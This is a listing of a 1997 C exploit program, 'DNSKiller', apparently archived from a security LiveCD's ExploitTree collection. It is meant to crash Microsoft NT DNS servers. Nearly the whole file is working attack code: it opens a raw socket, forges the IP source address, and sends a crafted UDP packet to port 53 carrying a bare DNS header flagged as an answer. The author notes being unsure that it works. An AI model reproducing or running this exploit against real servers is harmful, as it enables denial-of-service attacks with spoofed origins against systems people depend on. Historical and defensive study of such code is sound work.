home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / nt-dns.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  189 lines

  1. /****************************************************************************
  2. ** DNSKiller
  3. ** Demonstrates a bug in Microsoft DNS server.
  4. ** Version 0.9-970210 -  I don't know if this works.
  5. ** (c) 1997 - Rikhardur Egilsson - rikardur@skyrr.is
  6. *****************************************************************************/
  7.  
  8. #include <string.h>
  9. #include <netdb.h>
  10. #include <stdio.h>
  11. #include <unistd.h>
  12. #include <sys/types.h>
  13. #include <sys/socket.h>
  14. #include <netinet/in.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/ip_udp.h>
  17. #include <arpa/inet.h>
  18. #include <arpa/nameser.h>
  19.  
  20. void Usage(char *str)
  21. {
  22.  
  23.   printf("Usage: %s [-s <source_host>] -d <dest_host>\n", str);
  24.   printf("      <source_host> is an optional spoofed 'from' address.\n");
  25.   printf("      <dest_host> is the NT DNS server.\n");
  26.   exit(-1);
  27. }
  28.  
  29.  
  30. /****************************************************************************
  31. ** Use: host = GetHost(name)
  32. ** For: 'name' is 0, or points to a ASCIIZ string.
  33. ** After: 'host' is the, network byte order, IP number of 'host', if found,
  34. **      or 0 if not found.
  35. **      If 'name' was 0 'host' represents this host.
  36. *****************************************************************************/
  37. unsigned long int GetHost(char *name)
  38. {
  39.  
  40.   char buf[100];
  41.   struct hostent *Host;
  42.   unsigned long int value;
  43.  
  44.   if(!name)
  45.     {
  46.       gethostname(buf, 100);
  47.       printf("Using this host as source..\n");
  48.       name=buf;
  49.     }
  50.  
  51.   if(!(Host=gethostbyname(name)))
  52.     Host=gethostbyaddr(name, strlen(name), AF_INET);
  53.   if(!Host)
  54.     {
  55.       printf("Unknown host: %s\n", (name)? name:"<NULL>");
  56.       return(0);
  57.     }
  58.  
  59.   memcpy(&value, Host->h_addr_list[0], 4);
  60.   return(value);
  61. }
  62.  
  63.  
  64. /*************************************************************************
  65. ** Usage: i=SendUDP(from, to, data, len, socket)
  66. ** Fore: 'data' points to first byte of a UDP datagram of 'len' bytes.
  67. **      'from' and 'to' represent IP addresses in network-byte-order.
  68. **      'socket' must be an previously opened RAW_SOCKET.
  69. ** After: if i=1, 'data' was sent, via 'socket' as an UDP package to 'to'
  70. **      spoofed as originating from 'from'.
  71. **      if i!=1, an error occured and no data was send.
  72. *************************************************************************/
  73. int SendUDP(unsigned long int from, unsigned long int to, char *data,
  74.             int len, int sock)
  75. {
  76.  
  77.   char buf[len+sizeof(struct iphdr)];
  78.   struct in_addr host;
  79.   struct iphdr *ip=(struct iphdr *)buf;
  80.   struct sockaddr_in sin;
  81.  
  82.   sin.sin_family=AF_INET;
  83.   sin.sin_addr.s_addr=to;
  84.   sin.sin_port=((struct udphdr *)data)->dest;
  85.  
  86.   bzero((void *)buf, sizeof(struct iphdr)+len);
  87.   ip->version=4;
  88.   ip->ihl=5;
  89.   ip->tos=0;
  90.   ip->tot_len=htons(sizeof(struct iphdr)+len);
  91.   ip->id=htons(0xdead);
  92.   ip->frag_off=0;
  93.   ip->ttl=255;
  94.   ip->protocol=IPPROTO_UDP;
  95.   ip->saddr=from;
  96.   ip->daddr=to;
  97.   /* Note: Checksum will be calculated by the kernel. */
  98.  
  99.   memcpy(buf+sizeof(struct iphdr), data, len);
  100.  
  101.   host.s_addr=(unsigned long int)from;
  102.   printf("Sending from: %s -> ", inet_ntoa(host));
  103.   host.s_addr=(unsigned long int)to;
  104.   printf("to: %s ", inet_ntoa(host));
  105.   printf(" %d bytes.\n", len);
  106.  
  107.   return(sendto(sock, buf,len+sizeof(struct iphdr), 0,
  108.                 (struct sockaddr *)&sin, sizeof(sin)));
  109.  
  110. }
  111.  
  112.  
  113. void CreatePayload(char **Payload, int *len)
  114. {
  115.  
  116.   static char buf[sizeof(struct udphdr)+sizeof(HEADER)];
  117.   struct udphdr *udp=(struct udphdr *)buf;
  118.   HEADER *dns=(HEADER *) (buf+sizeof(struct udphdr));
  119.  
  120.   bzero((void *)buf, sizeof(HEADER)+sizeof(struct udphdr));
  121.   udp->source=htons(1111);
  122.   udp->dest=htons(53);    /* domain */
  123.   udp->len=htons(sizeof(struct udphdr)+sizeof(HEADER));
  124.   udp->check=0;
  125.   dns->qr=1;              /* This is an answer */
  126.  
  127.   *len=sizeof(struct udphdr)+sizeof(HEADER);
  128.   *Payload=buf;
  129. }
  130.  
  131.  
  132. int main(int argc, char *argv[])
  133. {
  134.  
  135.   extern char *optarg;
  136.   extern int optind, opterr, optopt;
  137.   char c, *source=0, *dest=0, *package;
  138.   int sock, len;
  139.   unsigned long int from, to;
  140.  
  141.   if((sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  142.     {
  143.       printf("No raw socket. Who are you ?\n");
  144.       exit(-1);
  145.     }
  146.   setuid(getuid());
  147.  
  148.   while(1)
  149.     {
  150.       c = getopt(argc, argv, "hs:d:");
  151.       if( c == -1)
  152.         break;
  153.       switch(c)
  154.         {
  155.         case 's':
  156.           source = optarg;
  157.           break;
  158.         case 'd':
  159.           dest=optarg;
  160.           break;
  161.         case 'h':
  162.           Usage(argv[0]);
  163.           break;
  164.         default:
  165.           Usage(argv[0]);
  166.           break;
  167.         }
  168.     }
  169.   if(!dest)
  170.     {
  171.       printf("Huhm, ehrm, didn't we forget something ?\n");
  172.       Usage(argv[0]);
  173.     }
  174.  
  175.   from=GetHost(source);
  176.   to=GetHost(dest);
  177.   if(!from || !to)
  178.     {
  179.       printf("Error, can't locate ");
  180.       printf("%s host address.\n", (from)? "target":"source");
  181.       exit(-1);
  182.     }
  183.  
  184.   CreatePayload(&package, &len);
  185.   SendUDP(from, to, package, len, sock);
  186.  
  187.   return(0);
  188. }
  189. /*                    www.hack.co.za              [2000]*/